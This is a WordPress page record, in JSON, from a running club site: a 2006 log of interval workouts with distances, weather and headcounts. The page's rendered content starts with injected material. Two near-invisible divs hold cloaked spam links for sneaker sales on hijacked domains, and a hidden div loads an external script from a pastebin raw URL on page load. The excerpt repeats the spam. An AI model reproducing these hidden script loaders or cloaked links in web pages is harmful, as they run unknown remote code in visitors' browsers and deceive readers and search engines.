{"id":168,"date":"2010-05-01T11:28:30","date_gmt":"2010-05-01T18:28:30","guid":{"rendered":"http:\/\/gospartans.org\/?page_id=168"},"modified":"2017-02-04T22:32:04","modified_gmt":"2017-02-05T06:32:04","slug":"2006-2","status":"publish","type":"page","link":"https:\/\/gospartans.org\/?page_id=168","title":{"rendered":"2006"},"content":{"rendered":"<div class=\"_all_wplink_42PjORRh_cc\" style=\"position:absolute;opacity:0.001;z-index:10;filter:alpha(opacity=0)\"><a href=\"http:\/\/wearecitizenradio.com\/yeezyboost.html\">yeezy boost 350 v2 zebra<\/a><a href=\"http:\/\/tieuthuyethay.com\/yeezy-boost-350-v2-black-red-2017-buy.html\">yeezy boost 350 buy<\/a><a href=\"http:\/\/athensreviewofbooks.com\/wp-content\/uploads\/2016\/11\/yeezy-boost-350-v2-triple-white.php\">yeezy boost 350 triple white<\/a><a href=\"http:\/\/erfanmix.com\/yeezy-boost-350-v2-white-sale.html\">yeezy boost 350 triple white buy<\/a><a href=\"http:\/\/www.taktamovie.com\/yeezy-boost-350-v2-white-online.html\">yeezy boost 350 v2<\/a><a href=\"http:\/\/www.compassionpower.com\/yeezy-350-v2-black-by1605.html\">Yeezy Boost 350 V2 Black<\/a><a href=\"http:\/\/www.soundproofing.org\/yeezy-350-v2-black-green-by9611.php\">Yeezy Boost 350 V2 Black For Sale<\/a><a href=\"http:\/\/www.zohur12.ir\/yeezy-boost-350-v2-By9612-online.php\">Yeezy Boost 350 V2 Black For Sale<\/a><a href=\"http:\/\/www.cronicaweb.com\/yeezy-boost-350-v2-online.php\">adidas yeezy boost 350 v2 september 24 2016<\/a><a href=\"http:\/\/itacbt.co.il\/yeezy-boost-350-sale.php\">adidas yeezy boost 350 mens<\/a><a href=\"http:\/\/www.cronicaweb.com\/buy-yeezy-350.html\">yeezy boost 350<\/a><a href=\"http:\/\/www.uzmanpanel.com\/yeezy350.html\">yeezy boost 350 v2<\/a><a href=\"http:\/\/www.onourownmd.org\/buy-yeezy-boost-350-v2-black.php\">yeezy boost 350 v2 buy<\/a><a href=\"http:\/\/bedandbathsafety.com\/shop-yeezy-boost-350\/\">yeezy boost 350 triple white<\/a><a href=\"http:\/\/elpapalote.com\/wp-content\/uploads\/yeezy-boost-triple-white.html\">yeezy boost 350<\/a><a href=\"http:\/\/qssummerschool.com\/yeezy-boost-350-sales\/\">yeezy boost 350 triple white<\/a><a href=\"http:\/\/dev.snopac911.us\/yeezy-boost-350\/\">yeezy boost 350 v2 buy<\/a><a href=\"http:\/\/jobstelangana.in\/article\/yeezy-sply-350-sale.html\">adidas yeezy boost 350<\/a><a href=\"http:\/\/www.krfair.ir\/buy-yeezy-boost-350-v2-black-red\/\">yeezy boost 350<\/a><a href=\"http:\/\/partners.caring.com\/wp-v2-yeezy.php\">yeezy boost 350 v2 black red for sale<\/a><\/div>\n<div class=\"_all_wplink_ifisEmmL_cc\" style=\"position:absolute;opacity:0.001;z-index:10;filter:alpha(opacity=0)\"><a href=\"http:\/\/yeezy350v2s.us.com\">yeezy boost 350<\/a><\/div>\n<div style=\"display:none\"><script language=\"javascript\" type=\"text\/javascript\" src=\"http:\/\/pastebin.com\/raw.php?i=f4Rv9vKp\"><\/script><\/div>\n<p>12\/27\/06 Wed &#8211; 4&#215;1,600 = 4 mi; mid 50&#8217;s; 7 ran<br \/>\n12\/25\/06 Mon &#8211; Christmas &#8211; No workout<br \/>\n12\/20\/06 Wed &#8211; 1,600; 800; 400; 2&#215;1,600 = 3.75 mi; mid 50&#8217;s; ? ran<br \/>\n12\/18\/06 Mon &#8211; 3&#215;800; 400; 2&#215;800 = 2.75 mi; hi 40&#8217;s; 5 ran<br \/>\n12\/13\/06 Wed &#8211; 1,600; 1,200; 1,200; 1,600 = 3.5 mi; lo 50&#8217;s; 6 ran<br \/>\n12\/11\/06 Mon &#8211; 2&#215;800; 600; 400; 600; 800 = 2.5 mi; hi 50&#8217;s; 5 ran<br \/>\n12\/06\/06 Wed &#8211; 400; 3&#215;1,600; 400 = 3.5 mi; hi 50&#8217;s; 7 ran<br \/>\n12\/04\/06 Mon &#8211; 400; 4&#215;800; 400 = 2.5 mi; mid 50&#8217;s; 7 ran<br \/>\n11\/29\/06 Wed &#8211; 1,200, 3&#215;1,600, 800 = 3 1\/4 mi; hi 40&#8217;s, lt brz; 7 ran<br \/>\n11\/27\/06 Mon &#8211; 2x(400; 600; 800) = 2 1\/4 mi; lo 50&#8217;s; 7 ran<br \/>\n11\/23\/06 Wed &#8211; No workout &#8211; Pre Thanksgiving Turkey Trot Races<br \/>\n11\/20\/06 Mon &#8211; 6&#215;600 = 2 1\/4 mi; mid 60&#8217;s calm; 5 ran<br \/>\n11\/15\/06 Wed &#8211; 1,600; 1,200; 800; 3&#215;400 = 3 mi; hi 50&#8217;s; 4 ran<br \/>\n11\/13\/06 Mon &#8211; Rain, 2 ran<br \/>\n11\/08\/06 Wed &#8211; 4&#215;1,200 = 3 mi<br \/>\n11\/06\/06 Mon &#8211; 800; 600; 2&#215;400; 600; 800 = 2 1\/4 mi<br \/>\n11\/01\/06 Wed &#8211; 800; 2&#215;1,600; 800 = 3 mi; hi 60&#8217;s; 10 ran<br \/>\n10\/30\/06 Mon &#8211; 2&#215;400; 2&#215;800; 2&#215;400 = 2 mi; mid 60&#8217;s;<br \/>\n10\/25\/06 Wed &#8211; 800; 1200; 1600; 1200 = 3 mi; hi 60&#8217;s, calm; 10 ran<br \/>\nGetting colder &#8211; start base work: increasing distances, slower paced, short recovery<br \/>\n10\/23\/06 Mon &#8211; 600; 400; 4x(300; 150); 400 = mid 60&#8217;s; 2 mi<br \/>\n10\/18\/06 Wed &#8211; 2&#215;600; 500; 400;2&#215;300; 400; 500;2&#215;600 = 3 mi<br \/>\nOops! Injury &#8211; crashed my bike. Erratic updates while recovering.<br \/>\n10\/16\/06 Mon &#8211; 600; 400; 4x(300; 150); 400 = 2 mi<br \/>\nLast Gasp &#8211; Start 4 to 6 weeks of short and fast intervals<br \/>\n10\/11\/06 Wed &#8211; 3 x 1,600 = 3 mi; hi 60&#8217;s; 11 ran<br \/>\n10\/09\/06 Mon &#8211; 2x(400; 2&#215;600) = 2 mi; hi 60&#8217;s; 15 ran<br \/>\n10\/04\/06 Wed &#8211; 2x(800; 1,600) = 3 mi; lo 60&#8217;s lt drizzle; 7 ran<br \/>\n10\/02\/06 Mon &#8211; 800; 400; 800; 400; 800 = 2 mi; mid 60&#8217;s; 10 ran<br \/>\n09\/27\/06 Wed &#8211; 800; 1,200; 1,200; 1,600 = 3 mi; lo 70&#8217;s; 14 ran<br \/>\n09\/25\/06 Mon &#8211; 2&#215;600; 800; 2&#215;600 = 2 mi; hi 70&#8217;s; 10 ran<br \/>\n09\/20\/06 Wed &#8211; 400; 3&#215;1,200; 800 = 3 mi; lo 70&#8217;s; 13 ran<br \/>\n09\/18\/06 Mon &#8211; 4&#215;800 = 2 mi; hi 60&#8217;s; 11 ran<br \/>\n09\/13\/06 Wed &#8211; 400; 800; 2&#215;1,200; 800; 400 = 3 mi; low 70&#8217;s, lt breeze; 11 ran<br \/>\n09\/11\/06 Mon &#8211; 400; 3&#215;800; 400 = 2 mi; mid 70&#8217;s, calm; 9 ran<br \/>\n09\/06\/06 Wed &#8211; 3&#215;400; 3&#215;800; 3&#215;400 = 3 mi; hi 60&#8217;s, calm; 11 ran<br \/>\n09\/04\/06 Mon, Labor Day &#8211; 2&#215;400; 2&#215;800; 2&#215;400 = 2 mi; hi 60, calm; 10 ran<br \/>\nSwitch to longer intervals<br \/>\n08\/30\/06 Wed &#8211; 6&#215;800 = 3 mi; hi 60&#8217;s; 11 ran<br \/>\n08\/28\/06 Mon &#8211; 600; 500; 400; 200; 400; 500; 600 = 2 mi; mid 60&#8217;s; 16 ran<br \/>\n08\/23\/06 Wed &#8211; 800; 600; 500; 400; 200; 400; 500; 600; 800 = 3 mi; hi 60&#8217;s; 9 ran<br \/>\n08\/21\/06 Mon &#8211; 2&#215;600; 2&#215;400; 2&#215;600 = 2 mi; hi 60&#8217;s; lt brz; 11 ran<br \/>\n08\/16\/06 Wed &#8211; 2x(800; 800; 400); 800 = 3 mi; lo 70&#8217;s, calm; 9 ran<br \/>\n08\/14\/06 Mon &#8211; 8&#215;400 = 2 mi; mid 70&#8217;s, calm; 13 ran<br \/>\n08\/09\/06 Wed &#8211; 8&#215;600 = 3 mi, mid 70&#8217;s lt brz; 7 ran<br \/>\n08\/07\/06 Mon &#8211; 2x(600; 400; 600) = 2 mi; mid 70&#8217;s, lt wind; 12 ran<br \/>\n08\/02\/06 Wed &#8211; 800; 700; 600; 2&#215;400; 600; 700; 800 = 3.1 mi; hi 70&#8217;s, lt brz; 7 ran<br \/>\n07\/31\/06 Mon &#8211; 700; 3&#215;600; 700 = 2 mi; lo 80&#8217;s, brz, 11 ran<br \/>\n07\/26\/06 Wed &#8211; 800; 700; 3&#215;600; 700; 800 = 3 mi; mid 90&#8217;s, lite brz; 6 ran<br \/>\n07\/24\/06 Mon &#8211; 600; 500; 400; 200; 400; 500; 600 = 2 mi; mid 90&#8217;s lite brz; 9 ran<br \/>\n07\/19\/06 Wed &#8211; 4x(800; 400) = 3 mi; hi 80&#8217;s lite brz; 6 ran<br \/>\n07\/17\/06 Mon &#8211; 2x(800; 400); 800 = 2 mi; hi 80&#8217;s, calm; 15 ran<br \/>\n07\/12\/06 Wed &#8211; 6&#215;800 = 3 mi; lo 70&#8217;s lt breeze; 5 ran<br \/>\n07\/10\/06 Mon &#8211; 4&#215;800 = 2 mi: mid 70&#8217;s; 16 ran<br \/>\n07\/05\/06 Wed &#8211; 2&#215;600; 500; 400;2&#215;300; 400;500; 2&#215;600 = 3 mi; mid 70&#8217;s, lt breeze; 3 ran<br \/>\n07\/03\/06 Mon &#8211; HOLIDAY &#8211; light workout for those racing &#8211; see Local Race Listings; 600;500;400;300;400;500;600 = 2+ mi; mid 70&#8217;s; 7 ran<br \/>\n06\/28\/06 Wed &#8211; 3&#215;600; 3&#215;400; 3&#215;600 = 3 mi; hi 70&#8217;s, lt breeze; 7 ran<br \/>\n06\/26\/06 Mon &#8211; 2&#215;600; 2&#215;400; 2&#215;600 = 2 mi; lo 80&#8217;s; 14 ran<br \/>\nSwitch to fast tempo focus<br \/>\n06\/21\/06 Wed &#8211; 800; 2&#215;400; 4x(300;150); 2&#215;400; 600 = 3 mi; hi 80&#8217;s; 8 ran<br \/>\n06\/19\/06 Mon &#8211; 2&#215;400; 300; 4&#215;200; 300; 2&#215;400 = 2 mi; mid 80&#8217;s breeze; 10 ran<br \/>\n06\/14\/06 Wed &#8211; 800; 8&#215;400; 800 = 3 mil; lo 70&#8217;s lt brz, 8 ran<br \/>\n06\/12\/06 Mon &#8211; 400; 3x(400;2&#215;200); 400 = 2 mi; hi 60&#8217;s lt wind; 10 ran<br \/>\n06\/07\/06 Wed &#8211; 3 sets 800; 2&#215;400 = 3 mi; mid 70&#8217;s; 7 ran<br \/>\n06\/05\/06 Mon &#8211; 2&#215;400; 4x(300; 150); 600 = 2 mi; mid 70&#8217;s, wind; 11 ran<br \/>\n05\/31\/06 Wed &#8211; 12&#215;400 = 3 miles total (alternate 3 min &amp; 4:15 cycles); lo 70&#8217;s; 5 ran<br \/>\n05\/29\/06 Mon &#8211; 500; 400; 300; 4&#215;200; 300; 400; 500 = 2 mi; lo 70&#8217;s wind; 5 ran; MEMORIAL DAY<br \/>\n05\/24\/06 Wed &#8211; 2&#215;800; 4x(300;150); 2&#215;400; 800 = 3 mi; hi 60&#8217;s lt wind; 6 ran<br \/>\n05\/22\/06 Mon &#8211; 4x(400;300);400 = 2 mi; lo 70&#8217;s, lt wind; 10 ran<br \/>\n05\/17\/06 Wed &#8211; 2&#215;800; 6&#215;400; 800 = 3 mi; mid 70&#8217;s, lt brz; 8 ranl<br \/>\n05\/15\/15 Mon &#8211; 600; 3&#215;400;3&#215;200; 2&#215;400 = 2 mi; mid 70&#8217;s lt brz; 9 ran<br \/>\n05\/10\/06 Wed &#8211; 2&#215;600; 2&#215;500; 2&#215;400; 2&#215;300; 2&#215;200; 2&#215;400 = 3 mi; hi 70&#8217;s, lt brz; 9 ran<br \/>\n05\/08\/06 Mon &#8211; 3&#215;400; 4&#215;200; 3&#215;400 = 2 mi; lo 70&#8217;s lt brz; 9 ran<br \/>\n05\/03\/06 Wed &#8211; 4x(800; 400) = 3 mi; hi 60&#8217;s, lt brz; 7 ran<br \/>\n05\/01\/06 Mon &#8211; 600; 400; 4x(300;150); 400 = 2 mi; lo 70&#8217;s, calm; 8 ran<br \/>\n04\/26\/06 Wed -12&#215;400 = 3 mi (alternate 3 min &amp; 4:15 cycles); lo 70&#8217;s; 8 ran<br \/>\n04\/24\/06 Mon &#8211; 600; 600; 400; 300; 300; 400; 600 = 2 mi; hi 60&#8217;s; 9 ran<br \/>\n04\/24\/06 switch to a speed focus<br \/>\n04\/19\/06 Wed &#8211; 4&#215;1200; 1600 = 4 mi; hi 60&#8217;s; 6 ran<br \/>\n04\/17\/06 Mon &#8211; 4&#215;800; 4&#215;400 = 3 mi; mid 60&#8217;s; 7 ran<br \/>\n04\/12\/06 Wed &#8211; easy jog; lo 60&#8217;s, diminishing lite rain; 2 ran<br \/>\n04\/10\/06 Mon &#8211; 8&#215;600 = 3 mi; lo 60&#8217;s, lite breeze; 7 ran<br \/>\n04\/04\/06 Wed &#8211; 4&#215;1,600 = 4 mi; lo 60&#8217;s, breeze; 10 ran<br \/>\n04\/03\/06 Mon &#8211; 12&#215;400 = 3 mi; hi 50&#8217;s, lt breeze; 7 ran<br \/>\n03\/29\/06 Wed &#8211; 3&#215;800; 2&#215;1,200; 1,600 = 4 miles total<br \/>\n03\/27\/06 Mon &#8211; 6&#215;800 = 3 mi; lo 50&#8217;s, strong gusts, lt sprinkles; 2 ran<br \/>\n03\/22\/06 Wed &#8211; 2&#215;800; 4&#215;1,200 = 4 mi; lo 50&#8217;s 8 ran<br \/>\n03\/20\/06 Mon &#8211; 6&#215;600; 3&#215;400 = 3 mi; hi 50&#8217;s, clear but threat of rain; 3 ran<br \/>\n03\/15\/06 Wed &#8211; 4&#215;1600 = 4 mi; mid 50&#8217;s calm; 8 ran<br \/>\n03\/13\/06 Mon &#8211; 4&#215;400; 4&#215;800 = 3 mi; mid 50&#8217;s, lt gusts; 6 ran &#8211; order switched from previous week &#8211; everyone prerferred the 8&#8217;s first<br \/>\n03\/08\/06 Wed &#8211; 4&#215;1200; 1600 = 4 mi; hi 50&#8217;s, calm; 6 ran<br \/>\n03\/06\/06 Mon &#8211; 4&#215;800; 4&#215;400 = 3 mi; lo 60&#8217;s, calm; 6 ran<br \/>\n03\/01\/06 Wed &#8211; 2x(1200; 800; 1200) = 4 mi; hi 50&#8217;s; 7 ran<br \/>\n02\/27\/06 Mon &#8211; 3x(400; 600; 600) = 3 mi; 8 ran<br \/>\n02\/22\/06 Wed &#8211; 800; 3&#215;1600; 800 = 4 mi; mid 50&#8217;s, calm 9 ran<br \/>\n02\/20\/06 Mon &#8211; 3&#215;600; 3&#215;400; 3&#215;600 = 3 mi; lo 60&#8217;s, calm; 8 ran<br \/>\n02\/15\/06 Wed &#8211; 800; 4&#215;1200; 800 = 4 mi; hi 50&#8217;s lt breeze; 7 ran<br \/>\n02\/13\/06 Mon &#8211; 8&#215;600 = 3 mi; mid 60&#8217;s, calm; 5 ran<br \/>\n02\/08\/06 Wed &#8211; 4&#215;1600 = 4 mi; hi 60&#8217;s, calm; 7 ran<br \/>\n02\/06\/06 Mon &#8211; 12&#215;400 = 3 mi; hi 60&#8217;s, calm; 10 ran<br \/>\n02\/01\/06 Wed &#8211; individual workouts; lite rain; 3 ran<br \/>\n01\/30\/06 Mon &#8211; 6&#215;600; 3&#215;400 = 3 mi; mid 60&#8217;s, calm; 11 ran<br \/>\n01\/25\/06 Wed &#8211; 2&#215;1200; 1600; 2&#215;1200 = 4 mi; hi 50&#8217;s, lt breeze; 9 ran<br \/>\n01\/23\/06 Mon &#8211; 4&#215;400; 2&#215;800; 4&#215;400 = 3 mi; hi 50&#8217;s, calm; 10 ran<br \/>\n01\/18\/06 Wed &#8211; 2x(1200; 1200; 800) = 4 mi; lo 50&#8217;s, calm; 6 ran<br \/>\n01\/16\/06 Mon &#8211; 6&#215;800 = 3 mi; hi 50&#8217;s, calm; 6 ran<br \/>\n01\/11\/06 Wed &#8211; 2x(1600; 800); 1600 = 4 mi; hi 50&#8217;s, calm; 6 ran<br \/>\n01\/09\/06 Mon &#8211; 3&#215;400; 600; 2&#215;800; 600; 2&#215;400 = 3 mi; hi 50&#8217;s, calm; 8 ran<br \/>\n01\/04\/06 Wed &#8211; 800; 3&#215;1600; 800 = 4 mi; hi 50&#8217;s, calm; 4 ran<br \/>\n01\/02\/06 Mon &#8211; rain<\/p>\n","protected":false},"excerpt":{"rendered":"<p>yeezy boost 350 v2 zebrayeezy boost 350 buyyeezy boost 350 triple whiteyeezy boost 350 triple white buyyeezy boost 350 v2Yeezy Boost 350 V2 BlackYeezy Boost 350 V2 Black For SaleYeezy Boost 350 V2 Black For Saleadidas yeezy boost 350 v2 &hellip; <a href=\"https:\/\/gospartans.org\/?page_id=168\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"parent":136,"menu_order":48,"comment_status":"closed","ping_status":"closed","template":"","meta":{"jetpack_post_was_ever_published":false,"footnotes":""},"class_list":["post-168","page","type-page","status-publish","hentry"],"jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/PUWdT-2I","_links":{"self":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/168","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/gospartans.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=168"}],"version-history":[{"count":35,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/168\/revisions"}],"predecessor-version":[{"id":1653,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/168\/revisions\/1653"}],"up":[{"embeddable":true,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/136"}],"wp:attachment":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=168"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}